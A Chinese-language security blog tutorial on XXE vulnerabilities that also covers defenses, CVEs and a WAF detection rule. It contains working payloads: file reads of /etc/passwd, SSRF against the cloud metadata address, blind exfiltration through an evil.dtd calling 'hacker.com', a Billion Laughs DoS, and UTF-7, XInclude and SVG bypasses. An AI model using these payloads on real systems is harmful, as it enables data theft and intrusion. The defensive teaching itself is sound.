XXE漏洞深度解析:XML解析的致命陷阱

XXE漏洞深度解析:XML解析的致命陷阱

1. XXE漏洞核心原理

XXE(XML External Entity,XML外部实体注入) 是一种利用XML解析器加载外部实体的漏洞,可导致:

  • 敏感文件读取(/etc/passwd)

  • 内网服务扫描(SSRF)

  • 拒绝服务攻击(DoS)

  • 远程代码执行(特定条件下)

高危组件
⚠️ libxml2(PHP/Python)
⚠️ Java SAX/DOM解析器
⚠️ .NET XmlDocument

2. 攻击类型与利用方式

(1) 文件读取(经典XXE)
<!DOCTYPE xxe [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>

输出结果

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
(2) SSRF攻击(内网探测)
<!DOCTYPE xxe [
  <!ENTITY http SYSTEM "http://169.254.169.254/latest/meta-data">
]>
<data>&http;</data>
(3) 盲XXE(数据外带)
<!DOCTYPE xxe [
  <!ENTITY % dtd SYSTEM "http://hacker.com/evil.dtd">
  %dtd;
]>

evil.dtd内容

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://hacker.com/?data=%file;'>">
%exfil;
(4) DoS攻击(Billion Laughs)
<!DOCTYPE xxe [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<root>&lol9;</root>  <!-- 指数级实体扩展 -->

3. 高级绕过技术

(1) UTF-7编码绕过
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE xxe +AFs-
  +ADwAIQ-ENTITY file SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
(2) XInclude攻击(当XXE被禁用时)
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>
(3) SVG文件XXE
<!-- evil.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>
  <text>&xxe;</text>
</svg>

4. 自动化利用工具

工具 功能
XXEinjector 自动化文件读取/SSRF
OXML_XXE Office文件XXE检测
Burp Collaborator 盲XXE检测

XXEinjector示例

ruby XXEinjector.rb --host=attacker.com --file=req.xml --path=/etc/passwd

5. 防御方案

(1) 禁用DTD(最彻底方案)
// Java示例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
(2) 实体白名单(Python lxml)
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
(3) 云环境加固
  • AWS Lambda禁用外部网络访问

  • Kubernetes Pod安全策略限制readOnlyRootFilesystem

(4) 文件上传过滤
  • 检测XML文件魔术字<?xml

  • 转换SVG为纯图片格式(使用Imagemagick)

6. 历史重大漏洞

CVE 影响范围 后果
CVE-2017-9805 Struts2 REST插件 RCE
CVE-2019-17531 Apache Solr 文件读取
CVE-2021-29447 WordPress 服务器信息泄露

Struts2攻击链
Content-Type: application/xml → OGNL表达式注入 → RCE

7. 安全开发实践

  1. 代码审计重点

    • DocumentBuilderFactory

    • XmlReader

    • XPathExpression

  2. WAF规则示例
^<!ENTITY.*SYSTEM\s*["'].*file:
  1. 应急响应步骤

    • 立即禁用XML解析功能

    • 审计日志搜索<!ENTITY

    • 更新所有XML处理库

 

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容